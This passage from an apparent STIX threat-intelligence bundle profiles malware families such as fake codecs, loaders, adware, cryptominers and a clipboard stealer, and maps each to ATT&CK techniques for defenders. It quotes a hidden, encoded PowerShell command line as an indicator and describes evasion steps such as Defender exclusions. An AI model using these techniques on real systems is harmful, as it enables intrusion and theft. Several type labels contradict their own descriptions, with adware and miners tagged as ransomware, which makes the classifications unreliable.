string manipulation (`T1027`). It runs entirely within the memory space of the interpreter process (e.g., `powershell.exe`, `wscript.exe`, `mshta.exe`), meaning no malicious file is written to the hard drive during the execution phase. The script typically utilizes 'Living off the Land' techniques, employing legitimate administrative commands to download a payload (`T1105`) or create a reverse shell.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the payload the script is designed to download. Host-based IoCs require robust behavioral monitoring (EDR): look for anomalous command-line arguments passed to script interpreters (e.g., `powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand...`), Office applications (`winword.exe`) spawning script interpreters, or `wscript.exe` making outbound network connections. Network IoCs involve the script interpreters making HTTP/HTTPS GET requests to unknown or compromised domains to fetch the secondary payload. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Code",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/code"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4efe7994-d707-555f-afd3-40154884289f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfa1e22d-b981-55a9-a4e8-c561b74b363a",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Code exhibits technique T1059 (Command and Scripting Interpreter (Utilizing built-in OS tools like PowerShell or VBScript for execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7b30a9b-d53a-511e-9e18-ad0ac1dca125",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfa1e22d-b981-55a9-a4e8-c561b74b363a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Code exhibits technique T1027 (Obfuscated Files or Information (Encoding scripts to bypass static analysis))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75e480ec-8c9c-5607-8591-378e8f1aad6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfa1e22d-b981-55a9-a4e8-c561b74b363a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Code exhibits technique T1105 (Ingress Tool Transfer (Using scripts to download compiled secondary payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87644c37-388d-526e-b26c-5896d5147c42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Codecpa",
      "description": "Adware/Trojan:Win32/Codecpa is a deceptive classification of malware that masquerades as a required video or audio codec (e.g., 'You must download this codec to view the video'). Instead of providing media playback capabilities, it silently installs aggressive adware, browser hijackers, and potentially infostealers on the victim's machine (`T1036`).<br><br><b>Understanding Codecpa (Fake Codecs)</b><br>To an end-user, the infection begins with frustration when trying to watch a video online, usually on unofficial streaming or adult sites, leading them to willingly download and run the malicious installer. For security teams, Codecpa represents a classic social engineering tactic that exploits user desire for content to bypass technical defenses. While often categorized as adware, these 'codecs' frequently serve as droppers for much more severe threats.<br><br><b>Execution and Deception Mechanics</b><br>The attack vector is almost entirely web-based (`T1189`). Malicious websites detect the user's browser and serve a fake error message (e.g., 'Missing Codec 0x48f'). When the user runs the downloaded `setup_codec.exe`, it may briefly display a fake installation progress bar. In the background, it alters browser shortcut icons, changes the default search engine, and injects ad-serving DLLs into the browser process. To establish persistence, it creates scheduled tasks or registry run keys to ensure the adware components load every time the user logs in (`T1547.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a degraded user experience, browser hijacking, and exposure to further malvertising. Host-based IoCs include new browser extensions installed without user consent, modified browser shortcuts (where the 'Target' field has been appended with a malicious URL), and EDR alerts for known adware executables running from `%AppData%` or `%LocalAppData%`. Network IoCs involve heavy background HTTP/HTTPS traffic to known adware tracking and deployment domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Codecpa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/codecpa"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80da193a-da71-5088-9973-51b35471d366",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87644c37-388d-526e-b26c-5896d5147c42",
      "target_ref": "attack-pattern--8e710e9c-d045-55d0-aa9b-984f010643f0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codecpa exhibits technique T1036 (Masquerading (Disguising the malware installer as a legitimate video/audio codec))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a925005-71e1-5ff5-82ea-442c6ae00e87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87644c37-388d-526e-b26c-5896d5147c42",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codecpa exhibits technique T1189 (Drive-by Compromise (Distributing the fake codec via malicious streaming sites))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0cd0017-13da-546b-a343-97338987e506",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87644c37-388d-526e-b26c-5896d5147c42",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codecpa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (Persistence))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3b61414c-d0c1-50b1-b16a-af4e144d5e3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Codewall",
      "description": "Trojan:Win32/Codewall is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Codewall</b><br>To an end-user, a Codewall infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Codewall is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Codewall is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Codewall frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Codewall reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Codewall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/codewall"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a6b66e0-6de9-5055-b66e-627a3f4c7b8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b61414c-d0c1-50b1-b16a-af4e144d5e3f",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codewall exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bebca2fb-aeb9-5ef6-8967-d89a67dbbf02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b61414c-d0c1-50b1-b16a-af4e144d5e3f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codewall exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85be974a-cebf-5111-9cdf-a4cbbd9d38fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b61414c-d0c1-50b1-b16a-af4e144d5e3f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codewall exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c1ef38a-75c3-534c-94d0-d092a39d2e86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b61414c-d0c1-50b1-b16a-af4e144d5e3f",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codewall exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5be4f147-d1fb-5e05-a527-ead798b13a7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b61414c-d0c1-50b1-b16a-af4e144d5e3f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codewall exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b2075960-7c54-51b9-ad84-66faa857d649",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Codiby",
      "description": "Trojan:Win32/Codiby is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Codiby</b><br>To an end-user, a Codiby infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Codiby is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Codiby is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Codiby frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Codiby reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Codiby",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/codiby"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30a05e75-41d5-59e0-babb-b4e2f6a94eba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2075960-7c54-51b9-ad84-66faa857d649",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codiby exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6d861ca-723f-5b98-a774-4e7cfa3b67a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2075960-7c54-51b9-ad84-66faa857d649",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codiby exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c83c32cb-344c-5528-a151-a2988ac793c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2075960-7c54-51b9-ad84-66faa857d649",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codiby exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd5a8b19-0ef0-5d76-a90e-9159b99073cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2075960-7c54-51b9-ad84-66faa857d649",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codiby exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b9d72ad-76c7-5569-8194-d80081627f14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b2075960-7c54-51b9-ad84-66faa857d649",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Codiby exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2c23844d-43c3-5f61-9f27-b08d7276a103",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cognosads",
      "description": "Adware:Win32/Cognosads is a highly intrusive adware family designed to hijack the user's web browsing experience. Its primary goal is monetization through forced ad impressions and affiliate link redirection. Cognosads specifically targets the browser's core components, injecting advertisements directly into web pages and altering default search settings without user consent (`T1189`).<br><br><b>Understanding Cognosads (Browser Hijacking)</b><br>To an end-user, Cognosads makes the internet nearly unusable. Legitimate search results are replaced with sponsored links, random text on web pages is turned into hyperlinks, and large banner ads obscure actual content. For an IT department, Cognosads is a security risk because the adware networks it uses are often compromised, serving as vectors for more severe malware like ransomware or credential stealers (malvertising).<br><br><b>Execution and Hijacking Mechanics</b><br>Cognosads is typically distributed via pay-per-install (PPI) networks, bundled with freeware or deceptive 'update' prompts. Upon execution, it installs itself as a Windows Service or Scheduled Task to ensure persistence (`T1543.003`). It then drops malicious extensions into Chrome, Edge, and Firefox. To prevent easy removal, Cognosads often modifies the Windows Registry (specifically the `ExtensionInstallForcelist` policies for Chrome/Edge) (`T1562.001`), locking the extension so the user cannot uninstall it via the browser UI.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the unauthorized monetization of user data and exposure to secondary malware. Host-based IoCs include the presence of unexpected browser extensions (often with random alphanumeric IDs), unauthorized modifications to browser policy registry keys (`HKLM\\Software\\Policies\\Google\\Chrome`), and unexpected executables running from `%LocalAppData%`. Network IoCs involve constant, high-volume background HTTP/HTTPS requests to known advertising networks and tracking domains. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cognosads",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cognosads"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f3f4df3-bf72-53fa-8480-28b3e7f90e7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c23844d-43c3-5f61-9f27-b08d7276a103",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cognosads exhibits technique T1189 (Drive-by Compromise (Initial distribution via deceptive software bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ab0b885-f5a0-5070-b6e0-30783df7072f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c23844d-43c3-5f61-9f27-b08d7276a103",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cognosads exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Modifying browser policies to prevent adware removal))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8be70b90-f648-5460-8ab4-f7f6d21a0d7c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2c23844d-43c3-5f61-9f27-b08d7276a103",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cognosads exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a9cdc94-0e5b-56c3-80dd-828eace0c9b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coinloader",
      "description": "<h3>Executive Summary</h3>\nCoinloader is a specialized Trojan Downloader engineered with a singular, primary objective: to silently infect a system and subsequently download, install, and execute unauthorized cryptocurrency mining software (Cryptojacking). The malware hijacks the victim's CPU and GPU processing power to generate digital currency (typically Monero) for the threat actors.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCoinloader is widely distributed via \"fileless\" attacks (such as exploiting vulnerabilities in unpatched web servers or databases like Redis/MSSQL), malicious email attachments, or hidden within pirated software and game torrents.\n\nOnce executed on a host, Coinloader operates with a focus on resource hijacking:\n<ul>\n<li><strong>Miner Deployment:</strong> The downloader reaches out to attacker-controlled infrastructure (often utilizing paste sites like Pastebin or compromised GitHub repositories) to download an open-source or custom-built mining application (e.g., XMRig).</li>\n<li><strong>Stealth and Evasion:</strong> To prevent the user from noticing the massive spike in CPU usage, the loader often injects the miner into a legitimate Windows process (`svchost.exe`, `notepad.exe`). Advanced variants will actively monitor the Task Manager; if the user opens the Task Manager, the miner temporarily suspends its activity to hide the CPU spike.</li>\n<li><strong>Defense Evasion:</strong> Coinloader frequently utilizes PowerShell scripts to modify Windows Defender settings, adding exclusions for its own directories to prevent the miner from being quarantined.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile Coinloader does not typically steal data or encrypt files like ransomware, it causes massive disruption. The constant 100% CPU/GPU utilization renders the workstation or server practically unusable, causes severe physical overheating (potentially damaging hardware), and significantly inflates corporate electricity and cloud computing costs.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Network Isolation and Process Termination:</strong> Identify the process consuming massive CPU resources (often a legitimate-sounding process name running from an unusual directory like `%AppData%`). Terminate the process and isolate the machine to halt mining and prevent re-infection.</li>\n<li><strong>Hunting for Persistence:</strong> Coinloader relies heavily on Scheduled Tasks and WMI (Windows Management Instrumentation) event subscriptions for persistence. Thoroughly audit these areas using PowerShell or EDR tools.</li>\n<li><strong>Review AV Exclusions:</strong> Carefully review the local Antivirus/Windows Defender settings. The malware likely added folder or process exclusions that must be manually removed before a clean scan can be performed.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Downloader.CoinMiner",
        "Riskware.Coinloader",
        "CoinMiner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coinloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coinloader"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c722d030-31e2-50cf-bb8e-58b0ff5dea35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a9cdc94-0e5b-56c3-80dd-828eace0c9b4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinloader exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--efa7065b-de4f-5d16-abc6-ac9e0134caea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a9cdc94-0e5b-56c3-80dd-828eace0c9b4",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinloader exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3593b25-eb49-5024-808e-1f4336716427",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a9cdc94-0e5b-56c3-80dd-828eace0c9b4",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinloader exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f35f7142-3bb7-5bdb-9edd-8328e54799f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a9cdc94-0e5b-56c3-80dd-828eace0c9b4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coinloader exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--716f2cd8-80eb-5d38-a3c2-310b7b2ed0ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coins",
      "description": "There is no single, specific malware family universally referred to as \"coins.\" Instead, the term is frequently used by security vendors as a descriptor for entire categories of malicious software that focus on cryptocurrency. This most commonly refers to \"Coinminers\" (or cryptojackers) that hijack a victim's computer resources (CPU, RAM, or GPU) to mine cryptocurrencies like Monero without consent. It may also refer to Cryptocurrency Stealers, which are designed to locate and steal existing crypto assets by targeting wallet.dat files, hijacking clipboard contents to replace wallet addresses during transactions, or logging keystrokes to steal seed phrases. (Observed samples in benchmark: 359)",
      "is_family": true,
      "malware_types": [
        "cryptominer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Coins",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/coins"
        }
      ],
      "labels": [
        "cryptominer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8fa71ea5-59f6-5be5-ae23-e3b466afa8be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--716f2cd8-80eb-5d38-a3c2-310b7b2ed0ff",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coins exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6b80505c-799a-50b3-ad4b-f07a03ea4603",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--716f2cd8-80eb-5d38-a3c2-310b7b2ed0ff",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coins exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f433762-5a6a-575a-95ee-86721d764476",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--716f2cd8-80eb-5d38-a3c2-310b7b2ed0ff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Coins exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f543df25-b7bb-5c80-ba7c-dbeb6ab7ddaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Coinstealer",
      "description": "Coinstealer (cataloged across threat intelligence databases and security vendors under signatures including Trojan:Win32/Coinstealer, Trojan:Win32/Coinstealer!rfn, and Trojan.CoinStealer) is a specialized cryptocurrency clipboard hijacker and wallet theft trojan active since 2017. Distributed through malicious software cracks, cryptocurrency discussion forums, and trojanized mining utilities, Coinstealer runs covertly as a background process monitoring the Windows Clipboard using the SetClipboardViewer or AddClipboardFormatListener APIs. When the user copies a string matching regular expression patterns of cryptocurrency addresses (such as Bitcoin base58/bech32, Ethereum 0x hex format, Monero, or Litecoin), Coinstealer instantaneously substitutes the victim's destination address with an operator-controlled wallet address before the user pastes it into a transaction form. Additionally, Coinstealer searches local disk directories for wallet data files (such as wallet.dat, Electrum seeds, and Metamask browser extension vaults) and exfiltrates them to remote C2 endpoints over HTTP 